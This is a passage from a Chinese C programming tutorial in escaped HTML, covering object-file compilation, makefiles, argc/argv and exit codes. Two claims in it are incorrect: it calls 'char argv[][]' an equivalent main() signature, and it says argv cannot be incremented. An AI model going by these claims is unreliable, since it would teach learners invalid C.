title=\"编译策略\"\u003e\u003c/a\u003e编译策略\u003c/h3\u003e\u003cp\u003e多个源码文件的项目,编译时需要所有文件一起编译。哪怕只是修改了一行,也需要从头编译,非常耗费时间。\u003c/p\u003e\u003cp\u003e为了节省时间,通常的做法是将编译拆分成两个步骤。第一步,使用 GCC 的\u003ccode\u003e-c\u003c/code\u003e参数,将每个源码文件单独编译为对象文件(object file)。第二步,将所有对象文件链接在一起,合并生成一个二进制可执行文件。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e$ gcc -c foo.c \u003cspan class=\"comment\"\u003e## 生成 foo.o\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$ gcc -c bar.c \u003cspan class=\"comment\"\u003e## 生成 bar.o\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e## 更省事的写法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$ gcc -c *.c\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面命令为源码文件\u003ccode\u003efoo.c\u003c/code\u003e和\u003ccode\u003ebar.c\u003c/code\u003e,分别生成对象文件\u003ccode\u003efoo.o\u003c/code\u003e和\u003ccode\u003ebar.o\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e对象文件不是可执行文件,只是编译过程中的一个阶段性产物,文件名与源码文件相同,但是后缀名变成了\u003ccode\u003e.o\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e得到所有的对象文件以后,再次使用\u003ccode\u003egcc\u003c/code\u003e命令,将它们通过链接,合并生成一个可执行文件。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e$ gcc -o foo foo.o bar.o\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e## 更省事的写法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$ gcc -o foo *.o\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e以后,修改了哪一个源文件,就将这个文件重新编译成对象文件,其他文件不用重新编译,可以继续使用原来的对象文件,最后再将所有对象文件重新链接一次就可以了。由于链接的耗时大大短于编译,这样做就节省了大量时间。\u003c/p\u003e\u003ch3 id=\"make-命令\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#make-%E5%91%BD%E4%BB%A4\" class=\"headerlink\" title=\"make 命令\"\u003e\u003c/a\u003emake 命令\u003c/h3\u003e\u003cp\u003e大型项目的编译,如果全部手动完成,是非常麻烦的,容易出错。一般会使用专门的自动化编译工具,比如 make。\u003c/p\u003e\u003cp\u003emake 是一个命令行工具,使用时会自动在当前目录下搜索配置文件 makefile(也可以写成 Makefile)。该文件定义了所有的编译规则,每个编译规则对应一个编译产物。为了得到这个编译产物,它需要知道两件事。\u003c/p\u003e\u003cul\u003e\u003cli\u003e依赖项(生成该编译产物,需要用到哪些文件)\u003c/li\u003e\u003cli\u003e生成命令(生成该编译产物的命令)\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e比如,对象文件\u003ccode\u003efoo.o\u003c/code\u003e是一个编译产物,它的依赖项是\u003ccode\u003efoo.c\u003c/code\u003e,生成命令是\u003ccode\u003egcc -c foo.c\u003c/code\u003e。对应的编译规则如下:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efoo.o: foo.c\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e gcc -c foo.c\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,编译规则由两行组成。第一行首先是编译产物,冒号后面是它的依赖项,第二行则是生成命令。\u003c/p\u003e\u003cp\u003e注意,第二行的缩进必须使用 Tab 键,如果使用空格键会报错。\u003c/p\u003e\u003cp\u003e完整的配置文件 makefile 由多个编译规则组成,可能是下面的样子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efoo: foo.o bar.o\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e gcc -o foo foo.o bar.o\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efoo.o: bar.h foo.c\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e gcc -c foo.c\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ebar.o: bar.h bar.c\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e gcc -c bar.c\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面是 makefile 的一个示例文件。它包含三个编译规则,对应三个编译产物(\u003ccode\u003efoo.o\u003c/code\u003e、\u003ccode\u003ebar.o\u003c/code\u003e和\u003ccode\u003efoo\u003c/code\u003e),每个编译规则之间使用空行分隔。\u003c/p\u003e\u003cp\u003e有了 makefile,编译时,只要在 make 命令后面指定编译目标(编译产物的名字),就会自动调用对应的编译规则。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e$ make foo.o\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e## or\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$ make bar.o\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e## or\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$ make foo\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,make 命令会根据不同的命令,生成不同的编译产物。\u003c/p\u003e\u003cp\u003e如果省略了编译目标,\u003ccode\u003emake\u003c/code\u003e命令会执行第一条编译规则,构建相应的产物。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003emake\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003emake\u003c/code\u003e后面没有编译目标,所以会执行 makefile 的第一条编译规则,本例是\u003ccode\u003emake foo\u003c/code\u003e。由于用户期望执行\u003ccode\u003emake\u003c/code\u003e后得到最终的可执行文件,所以建议总是把最终可执行文件的编译规则,放在 makefile 文件的第一条。makefile 本身对编译规则没有顺序要求。\u003c/p\u003e\u003cp\u003emake 命令的强大之处在于,它不是每次执行命令,都会进行编译,而是会检查是否有必要重新编译。具体方法是,通过检查每个源码文件的时间戳,确定在上次编译之后,哪些文件发生过变动。然后,重新编译那些受到影响的编译产物(即编译产物直接或间接依赖于那些发生变动的源码文件),不受影响的编译产物,就不会重新编译。\u003c/p\u003e\u003cp\u003e举例来说,上次编译之后,修改了\u003ccode\u003efoo.c\u003c/code\u003e,没有修改\u003ccode\u003ebar.c\u003c/code\u003e和\u003ccode\u003ebar.h\u003c/code\u003e。于是,重新运行\u003ccode\u003emake foo\u003c/code\u003e命令时,Make 就会发现\u003ccode\u003ebar.c\u003c/code\u003e和\u003ccode\u003ebar.h\u003c/code\u003e没有变动过,因此不用重新编译\u003ccode\u003ebar.o\u003c/code\u003e,只需要重新编译\u003ccode\u003efoo.o\u003c/code\u003e。有了新的\u003ccode\u003efoo.o\u003c/code\u003e以后,再跟\u003ccode\u003ebar.o\u003c/code\u003e一起,重新编译成新的可执行文件\u003ccode\u003efoo\u003c/code\u003e。\u003c/p\u003e\u003cp\u003eMake 这样设计的最大好处,就是自动处理编译过程,只重新编译变动过的文件,因此大大节省了时间。\u003c/p\u003e\u003ch2 id=\"命令行环境\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%8E%AF%E5%A2%83\" class=\"headerlink\" title=\"命令行环境\"\u003e\u003c/a\u003e命令行环境\u003c/h2\u003e\u003ch3 id=\"命令行参数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%8F%82%E6%95%B0\" class=\"headerlink\" title=\"命令行参数\"\u003e\u003c/a\u003e命令行参数\u003c/h3\u003e\u003cp\u003eC 语言程序可以从命令行接收参数。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e./foo hello world\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,程序\u003ccode\u003efoo\u003c/code\u003e接收了两个命令行参数\u003ccode\u003ehello\u003c/code\u003e和\u003ccode\u003eworld\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e程序内部怎么拿到命令行参数呢?C 语言会把命令行输入的内容,放在一个数组里面。\u003ccode\u003emain()\u003c/code\u003e函数的参数可以接收到这个数组。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e argc, \u003cspan class=\"type\"\u003echar\u003c/span\u003e* argv[])\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; argc; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;arg %d: %s\\n\u0026#34;\u003c/span\u003e, i, argv[i]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003emain()\u003c/code\u003e函数有两个参数\u003ccode\u003eargc\u003c/code\u003e(argument count)和\u003ccode\u003eargv\u003c/code\u003e(argument variable)。这两个参数的名字可以任意取,但是一般来说,约定俗成就是使用这两个词。\u003c/p\u003e\u003cp\u003e第一个参数\u003ccode\u003eargc\u003c/code\u003e是命令行参数的数量,由于程序名也被计算在内,所以严格地说\u003ccode\u003eargc\u003c/code\u003e是参数数量 + 1。\u003c/p\u003e\u003cp\u003e第二个参数\u003ccode\u003eargv\u003c/code\u003e是一个数组,保存了所有的命令行输入,它的每个成员是一个字符串指针。\u003c/p\u003e\u003cp\u003e以\u003ccode\u003e./foo hello world\u003c/code\u003e为例,\u003ccode\u003eargc\u003c/code\u003e是3,表示命令行输入有三个组成部分:\u003ccode\u003e./foo\u003c/code\u003e、\u003ccode\u003ehello\u003c/code\u003e、\u003ccode\u003eworld\u003c/code\u003e。数组\u003ccode\u003eargv\u003c/code\u003e用来获取这些输入,\u003ccode\u003eargv[0]\u003c/code\u003e是程序名\u003ccode\u003e./foo\u003c/code\u003e,\u003ccode\u003eargv[1]\u003c/code\u003e是\u003ccode\u003ehello\u003c/code\u003e,\u003ccode\u003eargv[2]\u003c/code\u003e是\u003ccode\u003eworld\u003c/code\u003e。一般来说,\u003ccode\u003eargv[1]\u003c/code\u003e到\u003ccode\u003eargv[argc - 1]\u003c/code\u003e依次是命令行的所有参数。\u003ccode\u003eargv[argc]\u003c/code\u003e则是一个空指针 NULL。\u003c/p\u003e\u003cp\u003e由于字符串指针可以看成是字符数组,所以下面三种写法是等价的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法一\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e argc, \u003cspan class=\"type\"\u003echar\u003c/span\u003e* argv[])\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法二\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e argc, \u003cspan class=\"type\"\u003echar\u003c/span\u003e** argv)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法三\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e argc, \u003cspan class=\"type\"\u003echar\u003c/span\u003e argv[][])\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e另一方面,每个命令行参数既可以写成数组形式\u003ccode\u003eargv[i]\u003c/code\u003e,也可以写成指针形式\u003ccode\u003e*(argv + i)\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e利用\u003ccode\u003eargc\u003c/code\u003e,可以限定函数只能有多少个参数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e argc, \u003cspan class=\"type\"\u003echar\u003c/span\u003e** argv)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (argc != \u003cspan class=\"number\"\u003e3\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;usage: mult x y\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, atoi(argv[\u003cspan class=\"number\"\u003e1\u003c/span\u003e]) * atoi(argv[\u003cspan class=\"number\"\u003e2\u003c/span\u003e]));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eargc\u003c/code\u003e不等于\u003ccode\u003e3\u003c/code\u003e就会报错,这样就限定了程序必须有两个参数,才能运行。\u003c/p\u003e\u003cp\u003e另外,\u003ccode\u003eargv\u003c/code\u003e数组的最后一个成员是 NULL 指针(\u003ccode\u003eargv[argc] == NULL\u003c/code\u003e)。所以,参数的遍历也可以写成下面这样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"type\"\u003echar\u003c/span\u003e** p = argv; *p != \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e; p++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;arg: %s\\n\u0026#34;\u003c/span\u003e, *p);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,指针\u003ccode\u003ep\u003c/code\u003e依次移动,指向\u003ccode\u003eargv\u003c/code\u003e的每个成员,一旦移到空指针 NULL,就表示遍历结束。由于\u003ccode\u003eargv\u003c/code\u003e的地址是固定的,不能执行自增运算(\u003ccode\u003eargv++\u003c/code\u003e),所以必须通过一个中间变量\u003ccode\u003ep\u003c/code\u003e,完成遍历操作。\u003c/p\u003e\u003ch3 id=\"退出状态\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E9%80%80%E5%87%BA%E7%8A%B6%E6%80%81\" class=\"headerlink\" title=\"退出状态\"\u003e\u003c/a\u003e退出状态\u003c/h3\u003e\u003cp\u003eC 语言规定,如果\u003ccode\u003emain()\u003c/code\u003e函数没有\u003ccode\u003ereturn\u003c/code\u003e语句,那么结束运行的时候,默认会添加一句\u003ccode\u003ereturn 0\u003c/code\u003e,即返回整数\u003ccode\u003e0\u003c/code\u003e。这就是为什么\u003ccode\u003emain()\u003c/code\u003e语句通常约定返回一个整数值,并且返回整数\u003ccode\u003e0\u003c/code\u003e表示程序运行成功。如果返回非零值,就表示程序运行出了问题。\u003c/p\u003e\u003cp\u003eBash 的环境变量\u003ccode\u003e$?\u003c/code\u003e可以用来读取上一个命令的返回值,从而知道是否运行成功。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e$ ./foo hello world\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$ \u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e $?\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e0\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eecho 